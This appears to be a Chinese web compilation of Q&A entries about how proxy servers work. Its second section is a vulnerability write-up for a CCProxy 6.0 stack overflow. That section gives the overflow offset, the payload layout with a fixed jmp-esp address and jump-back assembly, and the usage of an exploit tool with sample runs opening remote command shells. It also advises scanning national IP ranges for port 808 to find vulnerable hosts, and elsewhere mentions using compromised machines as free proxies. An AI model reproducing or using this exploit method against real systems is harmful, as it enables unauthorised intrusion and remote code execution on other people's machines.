代理软件原理
A. 在线代理的工作原理
在线代理原理是接收到浏览器(如ie,火狐等)对远程网站的浏览需求时候内(浏览器客户端提交网容址的时候),代理程序开始在当前服务器寻找远程网站的网站,找到目标网站后,代理程序马上将网站数据返回到用户的浏览器客户端。如果当前服务器没有该远程服务器的缓存,代理程序则会自动读取远程网站,将远程网站的资料提交给客户端,同时将资料缓存以提供给下一次的浏览需求。代理程序会根据缓存的时间、大小和提取记录自动删除缓存。
在线代理使用不同的复杂的脚本,以便绕过防火墙等,来访问被屏蔽或封锁的网站,用户使用在线代理服务非常简单,不需要设置浏览器,也不需要安装额外的软件,只要访问在线代理网站,然后输入要访问网站的网址,然后就可以享受免费的代理服务。在我国,有部分网站被屏蔽掉,如果你想访问,就可以使用在线代理进行访问。
B. Ccproxy的功能原理
CCProxy是一个国产的支持HTTP、、Gopher、SOCKS4/5、Telnet、Secure(HTTPS)、News(NNTP)、 RTSP、MMS等代理协议的代理服务器软件。因为其简单易用、界面友好,非常适合在对流量要求不高的网络环境中使用,所以在国内有很多初级的网管喜欢用这个软件,有时候我在公司上网也要用它做代理。前些日子我测试发现CCProxy 6.0版本存在多处缓冲区溢出漏洞,可以导致攻击者远程执行任意代码。
TIPS:什么是Gopher、RTSP、MMS?
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。
RTSP是Real Tranfer Stream Protocol的缩写,翻译为实时传输流协议,用来传输网络上的流媒体文件,如RM电影文件等,它的下载方法请看后文《悄悄下载流媒体》。
MMS是Multimedia Messaging Service的缩写,中文译为多媒体信息服务,它最大的特色就是支持多媒体功能,可以在GPRS、CDMA 1X的支持下,以WAP无线应用协议为载体传送视频短片、图片、声音和文字,彩信就算MMS协议中的一种。
漏洞发现过程
其实发现这个漏洞是很偶然的,当时在考虑公司产品的黑盒测试方案的时候,我想使用模板+测试用例的方式来进行网络部分的边界测试。这是比较传统的黑盒测试方法,其核心内容就是把网络协议包分块,然后制定出对各个块的测试策略,最后按照策略对所有块逐步进行测试。这种测试方法的好处在于可以有效的控制测试进度,以及可以比较详细地测试一个网络协议的所有部分,而且在测试过程中还可以不断地加入新的测试用例,以完善测试计划。测试程序的编写则可以使用脚本语言或C来完成。
TIPS:什么是黑盒测试?
黑盒测试法把程序看成一个黑盒子,完全不考虑程序的内部结构和处理过程。黑盒测试是在程序接口进行的测试,它只检查程序功能是否能按照规格说明书的规定正常使用,程序是否能适当地接收输入数据产生正确的输出信息,并且保持外部信息的完整性。黑盒测试又称为功能测试。
我就是用这种方法测试公司的产品的时候,恰好当时在公司内部网之间使用CCProxy做代理服务器,因为测试HTTP协议要通过这个代理,所以测试过程中发现CCProxy崩溃了,也因此发现了这个漏洞,算是偶然吧。
漏洞分析过程
CCProxy的HTTP代理端口默认是808,这个端口可以在其界面中进行更改。漏洞的原理很简单,就是对CCProxy的 HTTP代理端口发送URL超过4056字节的畸形请求,CCProxy就会发生堆栈溢出。后来发现,不仅仅是GET请求存在此问题,所有POST、 HEAD等请求也都会导致溢出。在分析其原理后又发现CCProxy的Telnet代理也存在该问题。
现在来详细介绍一下我分析这个漏洞的过程。在发现了发送超长请求可以导致CCProxy出错以后,就开始分析溢出点以及利用限制。所要用到的工具是SOFTICE调试器和IDA反汇编工具。
TIPS:很多人都知道使用WINDASM反汇编,但经过它反汇编出来的代码非常简单,很不容易看明白,但IDA就不一样了,它不但会反汇编程序,并会尽量分析程序,并加上相应的注释。正因为这样,IDA反汇编一个大的程序会花非常长的时间。
整个调试分析漏洞的过程如下:首先在SOFTICE中下断点:Bpx ntdll!KiUserExceptionDispatcher,这个命令的意思就是程序运行到Ntdll.dll中的 KiUserExceptionDispatcher就停下来,交给SOFTICE进行处理。KiUserExceptionDispatcher这个函数是Windows的异常处理过程中的很重要的一个步骤,它负责派发用户层空间发生的所有异常到异常链中的异常处理函数地址,每当在用户层空间发生异常的时候就会调用这个函数。SOFTICE默认是没有加载Ntdll.dll的,所以我们可以通过DriverStudio套件中的一个叫做“Symbol Loader”的工具的Load EXPorts来加载这个DLL文件。
设好断点后,就用一个简单的程序向808端口发送“GET /AAAA[...4056 bytes] HTTP/1.0<回车><回车>”这样的超长字符串,其中包含4056个A的超长URL。发送之后SOFTICE会跳出来并停在KiUserExceptionDispatcher断点上,这时候用“dd (*(esp+4))+b8”命令来查看出错时的EIP地址,这是因为KiUserExceptionDispatcher的函数参数是一个指向保存异常发生时的寄存器的结构,该结构从偏移0x8c的位置开始保存寄存器值,其具体保存寄存器值如下:
0x08c Gs
0x090 Fs
0x094 Es
0x098 Ds
0x09c Edi
0x0a0 Esi
0x0a4 Ebx
0x0a8 Edx
0x0ac Ecx
0x0b0 Eax
0x0b4 Ebp
0x0b8 Eip
0x0bc Cs
0x0c0 EFlags
0x0c4 Esp
0x0c8 Ss
用“dd (*(esp+4))+b8”命令发现出现异常的EIP是0x41414141,我们知道0x41就是A的ASCII码,所以现在已经证实我们发送的超长字符串已经覆盖了某个函数的返回地址,导致该函数返回的时候返回到0x41414141这样的地址。此时退出SOFTICE就会弹出 “0x41414141指令引用0x41414141的内存。该内存不能read。”这样的应用程序错误对话框。
TIPS:“0x41414141指令引用0x41414141的内存。该内存不能read。”这种是典型的溢出提示,明确告诉我们溢出的地址和错误,对进一步分析溢出很有好处。
接下来,我们还需要知道究竟是什么地方导致函数返回地址被覆盖的。因此我们逐渐减少发送的字符串长度,发现当发送4039字节时就不会导致出错了。由于堆栈和返回地址被覆盖,我们无法看到导致溢出的地址到底是哪里,但是根据经验推测,这可能是一个由Strcpy、Strcat或Sprintf等函数导致的溢出。因此我们在这些函数下断点,然后再次发送4056字节的长URL命令。但是发现没有在这些函数中断下来,证明溢出过程并没有调用这些函数。
到了这里似乎没有好的办法能够确定溢出位置了,但是通过观察发生溢出后的堆栈内容,可以看到根据当时的堆栈中的连续大片的“AAAA……”和开头的时间和 “unknown Web”字符串等信息得知,当对堆栈中对这些地址写入内容的时候会导致覆盖返回地址,所以我们直接对堆栈地址设写断点,使用命令“bpmd 01977908 w”来对0x01977908的地址设一个写操作断点,这个地址是我们通过观察溢出发生后的ESP来得到的,因为这应该就是函数返回之后的ESP,即栈顶地址。但是这个地址是不固定的,可能不同的系统上这个地址也不一样,即使在同一个系统上,这个地址也随每次CCProxy进程的启动而不同。但是在同一个系统上,一般试几次就会使用同样的地址,所以我们只需要多试几次就肯定能够中断下来了。在设断点之前首先要用Addr ccproxy来进入CCProxy的进程地址空间。
经过仔细分析发现,当调用0040A410这个函数之前,会进行压栈操作,这个压栈恰好会把函数返回地址写入到堆栈01977908的位置,所以我们有理由相信就是调用这个0040A410这个函数的过程当中导致了溢出。在0040A410函数入口出设断点,然后发送溢出字符串,中断后按F12(即执行到函数返回),可以看到恰好返回到0x41414141的地址,这就印证了我们的推测,溢出确实发生在0040A410函数当中
然后我们用IDA来反汇编CCProxy.exe来看看0040A410函数到底进行了哪些操作。反汇编的代码如下:
text:0040A410 sub_40A410 proc near ; CODE XREF: sub_408A10+114 p
.text:0040A410 ; sub_408A10+262 p ...
.text:0040A410 mov eax, 280Ch
.text:0040A415 call __alloca_probe ;分配0x280c大小的缓冲区
.text:0040A41A mov eax, dWord_501D04
.text:0040A41F push ebp
.text:0040A420 mov ebp, [esp+2814h] ;这是要记录的内容,作为参数传入
可以看到这个函数调用“__alloca_probe”函数来进行缓冲区分配,它和普通函数调用Sub esp,xxx的方式来分配缓冲区有点不同,这是因为需要分配的缓冲区太大,直接减ESP可能会导致直接到达未分配的地址空间,所以需要用 “__alloca_probe“来分配这个大缓冲区。
我们再继续跟踪这个函数,发现到0040A607的指令时覆盖了函数的返回地址。代码如下:
.text:0040A5F1 lea ecx, [esp+414h]
.text:0040A5F8 push ebp
.text:0040A5F9 push ecx
.text:0040A5FA lea edx, [esp+1820h]
.text:0040A601 push offset aSS_0 ; "[%s] %s"
.text:0040A606 push edx
.text:0040A607 call _sprintf
在这个调用了“_sprintf“函数,按照“[日期] 内容”的格式存入0x1820大小的局部字符串缓冲区中,由于没有限制长度,所以导致了缓冲区溢出。再仔细查看发现“_sprintf”函数是在 CCProxy自己的代码段里面实现的,而没有调用“msvcrt.dll”导出的Sprintf函数,难怪我们前面在Sprintf函数下断点没有拦截到!
说句题外话,现在市场上有些防溢出软件产品是利用拦截系统的字符串拷贝函数然后回溯堆栈的方法,并宣称从根本上解决了系统缓冲区溢出的问题。这根本就是无稽之谈,因为很多溢出都是软件自己的代码实现导致溢出的,例如这个CCProxy溢出这样,根本就不调用任何系统函数,所以那种保护方法并不能从根本上解决溢出的问题。
在0040A410函数返回的时候,就会返回到被覆盖的地址去。代码如下:
.text:0040A700 add esp, 280Ch ;恢复堆栈
.text:0040A706 retn ;返回
到这里我们已经可以看出,0040A410这个函数其实是一个记录CCProxy日志的函数,它按照“[日期] 内容”的格式来记录日志,但是在构造日志字符串的时候没有限制长度,所以导致了缓冲区溢出。我们已经找到了导致溢出的位置,接下来就要看看如何利用这个漏洞了。
漏洞利用
要利用漏洞,就要找到覆盖返回地址的字符串偏移。我们可以通过发送AAAABBBBCCCCDDD……这样的组合字符串看到底是哪里覆盖了返回地址。经过一番分析,得知在4056的偏移处恰好覆盖了函数返回地址。所以我们这样来设计溢出字符串:
GET /AAAA…. shellcode jmp esp jmp back HTTP/1.0
其中“AAAA……”这样的字符串是为了在执行ShellCode之前腾出足够的空间,因为字母A所对应的CPU指令是INC ECX,即一条无实际作用的指令,相当于传统的NOP指令,但是它比NOP指令的好处在于它是可显示的字符,不易导致错误。而ShellCode是一个普通开端口的ShellCode,对其中的字符无任何特殊要求。Jmp esp是一个包含Jmp esp指令的地址,把它作为覆盖函数的返回地址,这样当函数返回的时候就会跳到这个地址去执行Jmp esp指令,因为此时的ESP恰好指向函数返回地址后面的地址,即随后的Jmp back指令。这个指令是一串跳转指令,用来跳过Jmp esp地址和ShellCcode,执行到前面的AAAA……,即NOP指令,以便最后执行到shellcode当中。这里我们要选用一个比较通用的 jmp esp地址,如果是系统DLL中的Jmp esp地址,可能会随系统打了不同的SP而有不同的地址,所以我们选择0x7ffa54cd这样的地址,它在同一类Windows系统(例如中文版 windows 2000)当中是固定的。Jmp <层>Back指令我们用这样的汇编指令:
mov ecx,25414141h ;把ECX设为0x25414141
shr ecx,14h ;把ECX右移0x14位,让ECX变为0x254
sub esp,ecx ;把ESP减去0x254
jmp esp ;跳到此时的ESP去
这样把ESP减去0x254就可以跳过前面的返回地址和ShellCode,这样一来就能够恰好跳到shellcode前面的NOP指令去执行了。
这样设计好溢出串,并编写程序保证jmp esp恰好覆盖返回地址,发送,果然溢出成功,并开出了shellcode指定的端口。这样exploit是不是就算是完成了呢?于是我到外网找了一个安装了CCProxy的肉鸡试了一下,可是没有成功。奇怪了,问题究竟出在哪里呢?
经过仔细分析发现,由于溢出是按照“[日期] 内容”的格式拷贝到字符串当中导致的,其中“内容”部分的格式是这样的:
客户端IP地址<空格>unknown<空格>Web<空格>HTTP请求
其中unknown和Web都是固定长度的字符串,HTTP请求是我们所能控制的字符串。但是这里存在一个问题,就是客户端IP地址是我们无法控制的字符串,它的长度是不固定的,这样一来,不同长度的客户端IP地址就会导致不同的溢出点,这样也就可能无法成功的溢出了。怎样解决这个问题呢?我们虽然无法控制客户端IP地址的字符串长度,但是我们可以得到这个字符串的长度,并且在我们所能控制的HTTP请求当中补齐这个长度,让我们发送的Jmp esp地址始终覆盖在函数返回地址上面。
而客户端IP地址可能根据不同网络结构而分为三种情况:
如果攻击者和攻击目标在同一个网段(即中间不经过网关),那么客户端IP地址就是攻击者主机的IP地址。
如果攻击者和攻击目标不在同一个网段上(即中间经过网关),但是攻击者的主机有真实的IP地址。那么客户端IP地址也是攻击者主机的IP地址。
如果攻击者和攻击目标不在同一个网段上(即中间经过网关),而且攻击者的主机没有真实的IP地址。例如攻击者在内网,而攻击目标主机在外网,那么客户端IP地址就是攻击者的网关的外部IP地址。
知道了这三种情况之后,我们就可以动手改进刚才的Exploit程序了。首先要取出本机的IP地址,可以通过调用Socket函数Gethostname ()先取得获取本机名,然后通过调用Gethostbyname()来得到本机IP地址的十六进制数值,最后利用Inet_ntoa()把这个数值转换为字符串。这样就解决了前两种情况的客户端IP地址,那么对于第三种本机和目标主机不在同一网段的情况又怎么办呢?用程序实现自动取网关外部IP地址好像稍微麻烦了点,我懒得写这样的程序了,干脆由用户自己来输入算了,怎么得到你的网关外部IP地址就不用我来教了吧,应该是不难的,有些网站的论坛甚至都会直接显示出你的IP地址,那就是你网关的IP地址。
TIPS:利用网关实现溢出攻击还是第一次看到具体的例子,它们的网络通讯是如何建立的?数据传输是怎么进行的?有兴趣的朋友可以考虑一下,尝试利用这个过程做点事情,相信你会有更都的发现。
漏洞攻击程序使用方法
我用前面提到的方法写了一个Exploit程序,按照“ccpx <目标IP> [端口]”这样的格式来使用,其中目标IP就是你要攻击的安装了CCProxy的机器的IP地址,端口是目标IP上的CCProxy的HTTP代理端口,这个端口默认是808,但是可能会更改。
然后程序会提示你“本主机IP是否与目标主机IP在同一个网段?”,因为前面提到原因,所以要采取两种不同的溢出字符串,如果你的机器和目标主机在同一个网段上,那你就选择Y,如果不在同一网段就选N。如果你选择了Nn,程序还会询问你“本主机有没有真实外网IP地址?”,也就是说你的机器是在内网还是外网,有没有真实IP地址,如果有就选Y,没有则选N。如果这次你又选择了N,那么程序会要求你输入本主机所属网关的外部IP地址,这个地址需要你自己想办法得到,要得到它也并不困难。输入之后就会成功发送溢出串,并自动连接ShellCode所开出的 24876端口,如果成功的话,就会出现系统权限的CMD.EXE命令行了。
如果你的机器和目标主机在同一个网段上面那就简单了,直接在第一步选Y就可以攻击成功。如果你的机器虽然和目标主机不在同一个网段上面,但是确有真实IP地址,那就在第二步选Y。
三种不同情况的具体攻击过程如下:
1.你的机器和目标主机在同一个网段上:
D:\Soft\ccx\ccpx\Debug>ccpx 192.168.0.103
本主机IP是否与目标主机IP在同一个网段?[y/n]y
[+] connecting to 192.168.0.103:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator> exit
exit
[-] Connection closed.
2.你的机器虽然和目标主机不在同一个网段上面,但是有真实IP地址: D:\Soft\ccx\ccpx\Debug>ccpx 202.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]y
[+] connecting to 202.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
3.你的机器在内网,而攻击目标主机在外网:
D:\Soft\ccx\ccpx\Debug>ccpx 210.xxx.xxx.xxx
本主机IP是否与目标主机IP在同一个网段?[y/n]n
本主机有没有真实外网IP地址? [y/n]n 三层交换技术 交换机与路由器密码恢复 交换机的选购 路由器设置专题 路由故障处理手册 数字化校园网解决方案
请输入本主机所属网关的外部IP地址: 202.xx.xx.xx ←在这里输入是你网关的外部IP地址
[+] connecting to 210.xxx.xxx.xxx:808
[+] send magic buffer...
[+] connecting to CMD shell port...
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>exit
exit
[-] Connection closed.
我这个程序里面的Jmp esp地址是中文版Windows 2000中的地址,在其他版本的操作系统中可能会有所不同,需要读者自己修改。
TIPS:由于这个ShellCode里面采用了直接开端口的方法,所以如果读者朋友的攻击目标上有防火墙的话,可能会导致攻击不成功。这种情况你需要更改isno程序中的ShellCode,把它替换成反向连接的ShellCode再重新编译一遍就行了。具体方法请关注最近几期“新手学溢出”栏目。
前面提到的这种根据不同网络情况来填充不同个数的A,从而把Jmp esp地址推到函数返回地址的方法是不是最好的方法呢?我觉得可能还有更好的方法,也许利用Sprintf函数的一些内部特性就可以不用这样而写出通用的利用程序了,但是我没时间去研究这个了,如果读者有兴趣的话可以自己研究一下,如果研究出来,这也算是一项很实用的通用Exploit技术。
后来研究发现CCProxy不仅仅HTTP代理存在溢出问题,Telnet代理等一些其他调用日志函数的端口也存在同样的问题,攻击方法类似,这里就不再详细分析了。另外,CCProxy 5.x以及以前的版本虽然也存在此漏洞,但是构造字符串的方法略有不同,因此这个Exploit程序无法成功的攻击CCProxy 5.x以及以前的版本,只能攻击CCProxy 6.0。读者可以自己研究一下老版本的CCProxy,并写出Exploit程序。
结束语
这个漏洞虽然不是Windows操作系统本身的漏洞,但是CCProxy在国内还算一个比较常用的软件,因此还是有一些利用价值的。不信你可以用Super Scan之类的端口扫描器扫描国内网段的TCP 808端口,很多时候都能找到安装了CCProxy的机器。
其实写这篇文章的目的并不是教大家去利用这个漏洞黑机器,而是告诉大家一个软件漏洞从发现到跟踪调试到最后写Exploit程序的过程是怎样的,也许你也能用这种方法找到一些其它的漏洞。
C. 为什么代理上网具有比不用代理上网的好处,它的原理是什么
代理上网的原理.比如浏览网络.
不是你直接跟网络交换数据,而是你先发送到代理服务器,说:我要去浏览网络,这个时候代理服务器就会连接网络,然后把数据再转发给你.
这中间多了一个过滤层,因此,网络不会得到你的真实IP,而是得到了代理服务器的IP.
而且,比如国外的一些网站是受限制的,而你用代理的话,则就会突破限制而访问道.
谢谢.
D. qq代理的原理是什么
代理服务器的原理 代理服务器的工作机制很象我们生活中常常提及的代理商,
假设你的机器为A机,你想获得的数据由B机提供,代理服务器为C机,那么具体的连接过程是这样的。
首先,A机需要B机的数据,它与C机建立连接,C机接收到A机的数据请求后,与B机建立连接,下载A机所请求的B机上的数据到本地,再将此数据发送至A机,完成代理任务。
代理服务器的功能
● 可以隐藏自己。你不用与目标机器打交道,目标服务器不会知道你的IP,他只知道代理服务器的IP。
● 可以访问一些有IP禁止访问的服务器。因为封锁只禁止了你和目标服务器的连接,但并没有禁止你与代理服务器的连接 以及代理服务器与目标服务器的连接。
● 加快网络的读取的速度。通常代理服务器都是比较强劲的机器,假如你的网络不是很好,使用代理在一定的情况下可以加快网络的读取速度。注意,这是有条件的,并不是所有使用代理都能加快的。
谁提供免费的代理服务器
● 善良的服务器的系统管理员或能取得服务器管理权的人设置的。(简单的说通常就是用肉鸡 做的)
● 真正好心的人,在自己的服务器设置代理,造福大众。
● 一些ISP商为了提高影响,在一段时间内开放的免费代理。
通常时间很短。 [c免费代理的收集要收集代理,必须先知道一些默认的代理端口。通常HTTP代理的端口是80、3128、8080、8888;
SOCK代理的端口是1080、1813;
FTP代理的端口是21、2121。
然后用扫描代理端口的软件去扫描指定的IP段和端口就行。
扫描代理犹如大海捞针,一天24小时一台机器能扫出几个真正能用的代理就很不错了。
影响代理速度的因素
● 代理服务器所在的网络。如果代理机器本身的网络带宽不好的话,直影响到代理的速度,你的网络再快也没用。
● 代理服务器的性能。如果代理服务器本身的配置不高,那一旦多人同时使用,就是直接影响代理服务器的速度。
● 你所访问的目标服务器。这也是影响代理速度的因素,你要访问对方,自然要以对方的速度为标准。
HTTP、SOCK、FTP代理的区别
● 浏览器用HTTP或SOCK代理。
● 下载软件用HTTP或SOCK代理。
● 上传软件用FTP或SOCK代理。
● 其他的一般用SOCK代理。(聊天,MUD游戏等) SOCK代理使用范围很广,但SOCK有SOCK4和SOCK5之分,
区别:
其中SOCK4只支持TCP协议;SOCK5支持TCP和UDP协议,还支持身份验证、服务器端域名解释等。SOCK4能干的SOCK5都可以干,反过来就不行。我们常用的聊天软件(如QQ),用的是TCP和UDP协议的,所以QQ只能用SOCK5的代理。 有长久能用的好代理吗 代理通常都是别人的服务器,服务器能运行多久?管理员能让服务器运行代理多久都是不可控制的。代理是很消耗资源的,同时太多的人使用同一个代理,也会令到代理死亡。所以基本上不存在长久能用的好代理,代理需要经常换新的
E. 代理IP的原理是什么
代理服务器的工作机制很象我们生活中常常提及的代理商,假设你的机器为A机,你回想获得的数据答由B机提供,代理服务器为C机,那么具体的连接过程是这样的。 首先,A机需要B机的数据,它与C机建立连接,C机接收到A机的数据请求后,与B机建立连接,下载A机所请求的B机上的数据到本地,再将此数据发送至A机,完成代理任务。
F. 代理软件是干什么用的代理是个什么意思
代理软件就是卖软件的意思,开虚拟充值店要买软件,要找上家代理(买)软件,买了自己就是代理商了。开淘宝网店有什么不懂的地方可以问我,我教你。
G. 代理是什么原理啊
你想说的就是使用网页代理吧。
原理可以简单的概述为:用户(A)-在线代理服务器(B)-目标网站(C),即:A向B发送浏览请求-B执行请求发送给C-C收到请求,回应。
代理服务器其功能就是代理网络用户去取得网络信息。形象的说:它是网络信息的中转站。在一般情况下,我们使用网络浏览器直接去连接其他Internet站点取得网络信息时,须送出Request信号来得到回答,然后对方再把信息以bit方式传送回来。代理服务器是介于浏览器和 Web服务器之间的一台服务器,有了它之后,浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求,Request信号会先送到代理服务器,由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。而且,大部分代理服务器都具有缓冲的功能,就好像一个大的Cache,它有很大的存储空间,它不断将新取得数据储存到它本机的存储器上,如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的,那么它就不重新从Web服务器取数据,而直接将存储器上的数据传送给用户的浏览器,这样就能显著提高浏览速度和效率。更重要的是:Proxy Server(代理服务器)是Internet链路级网关所提供的一种重要的安全功能,它的工作主要在开放系统互联(OSI)模型的对话层。而在线代理是一种在网页上运行的代理服务器程序,其不用任何设置,输入网址选择好代理服务器便可以访问的优点已经成为时下最流行的代理访问方式。在线代理是常见的一种代理程序。网页代理给客户端提供远程网站上的网页和文件的高速缓存,使客户端可以更加快速安全的浏览远程网站。
网页代理也可以过滤远程网站的内容。一些审查软件也跟网页代理差不多,将一些网站内容过滤掉。出于某些目的或保护,有些网页代理程序也会将网站的内容重新编排。比如,Skweezer可以将网页重新编排,以提供给手机和PDA浏览。网络管理员也经常使用代理程序来预防病毒和反动网站内容。
这些程序通常是使用PHP或者CGI编程语言编写的。CGI编写的代理程序通常被用来突破公司或学校的网络封锁。通过CGI编写的代理程序可以隐藏客户端的IP,因此用户可以实现匿名访问远程网站。php编写的代理程序采用64位加密技术,通过HTTP访问类使用fsockopen函数访问目标 URL,然后处理一下得到的html代码,将其中的各个链接加上前缀,以便让浏览器仍然通过PhpProxy访问各个图片和CSS,js文件。
H. 谁知道代理服务器的原理
是,代理就是这样工作的,除非你直接访问存在一些问题,比如速度比较慢,一般不要用代理.
I. Socks代理的原理
socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。Socks是个电路级的底层网关,是DavidKoblas在1990年开发的,此后就一直作为Internet RFC标准的开放标准。Socks不要求应用程序遵循特定的操作系统平台,Socks 代理与应用层代理、 HTTP 层代理不同,Socks代理只是简单地传递数据包,而不必关心是何种应用协议(比如FTP、HTTP和NNTP请求)。所以,Socks代理比其他应用层代理要快得多。它通常绑定在代理服务器的1080端口上。如果您在企业网或校园网上,需要透过防火墙或通过代理服务器访问Internet就可能需要使用SOCKS。一般情况下,对于拨号上网用户都不需要使用它。注意,浏览网页时常用的代理服务器通常是专门的http代理,它和SOCKS是不同的。因此,您能浏览网页不等于您一定可以通过SOCKS访问Internet。 常用的防火墙,或代理软件都支持SOCKS,但需要其管理员打开这一功能。如果您不确信您是否需要SOCKS或是否有SOCKS可用,请与您的网络管理员联系。为了使用socks,您需要了解一下内容:
① SOCKS服务器的IP地址
② SOCKS服务所在的端口
③ 这个SOCKS服务是否需要用户认证?如果需要,您要向您的网络管理员申请一个用户和口令
知道了上述信息,您就可以把这些信息填入“网络配置”中,或者在第一次登记时填入,您就可以使用socks代理了。
J. 代理服务器工作原理是什么有什么优、缺点
使用了代理服务器就是优化了你机器的IP到服务器IP之间的最优路由访问路径而已。。
访问速度肯定比一般的快。